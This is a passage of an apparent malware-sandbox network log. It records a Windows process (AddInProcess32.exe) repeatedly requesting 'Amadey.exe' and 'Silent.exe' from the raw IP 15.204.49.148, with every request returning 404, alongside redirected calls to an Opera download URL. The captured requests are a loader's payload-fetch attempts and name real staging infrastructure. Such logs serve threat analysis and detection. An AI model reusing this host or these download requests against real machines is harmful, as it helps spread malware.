2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2230	192.168.2.5	55578	107.167.110.211	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:54.751183033 CET	135	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com Connection: Keep-Alive
Mar 11, 2024 03:30:54.967293978 CET	424	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 11 Mar 2024 02:30:54 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2231	192.168.2.5	55595	15.204.49.148	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:56.831438065 CET	55	OUT	GET /files/Amadey.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:30:57.050627947 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:55 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Mar 11, 2024 03:30:57.051220894 CET	55	OUT	GET /files/Amadey.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:30:57.272334099 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:55 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2232	192.168.2.5	55596	15.204.49.148	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:56.842617035 CET	55	OUT	GET /files/Silent.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:30:57.057076931 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:55 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2233	192.168.2.5	55594	107.167.110.211	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:56.844363928 CET	111	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com
Mar 11, 2024 03:30:57.066948891 CET	424	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2234	192.168.2.5	55600	107.167.110.211	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:56.866734982 CET	111	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com
Mar 11, 2024 03:30:57.084367990 CET	424	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2235	192.168.2.5	55611	15.204.49.148	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:58.346642971 CET	55	OUT	GET /files/Amadey.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:30:58.538284063 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:56 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Mar 11, 2024 03:30:58.540462017 CET	55	OUT	GET /files/Amadey.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:30:58.739192963 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2236	192.168.2.5	55612	15.204.49.148	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:58.347779989 CET	55	OUT	GET /files/Silent.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:30:58.546372890 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:56 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2237	192.168.2.5	55610	107.167.110.211	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:58.369354010 CET	111	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com
Mar 11, 2024 03:30:58.585905075 CET	424	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 11 Mar 2024 02:30:58 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2238	192.168.2.5	55616	107.167.110.211	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:58.383063078 CET	111	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com
Mar 11, 2024 03:30:58.598359108 CET	424	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 11 Mar 2024 02:30:58 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2239	192.168.2.5	55628	15.204.49.148	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:59.628715992 CET	55	OUT	GET /files/Amadey.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:30:59.851151943 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2240	192.168.2.5	55627	107.167.110.211	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:59.628834009 CET	111	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com
Mar 11, 2024 03:30:59.856308937 CET	424	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2241	192.168.2.5	55629	15.204.49.148	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:59.649651051 CET	55	OUT	GET /files/Silent.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:30:59.852037907 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2242	192.168.2.5	55634	107.167.110.211	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:31:00.536478996 CET	111	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com
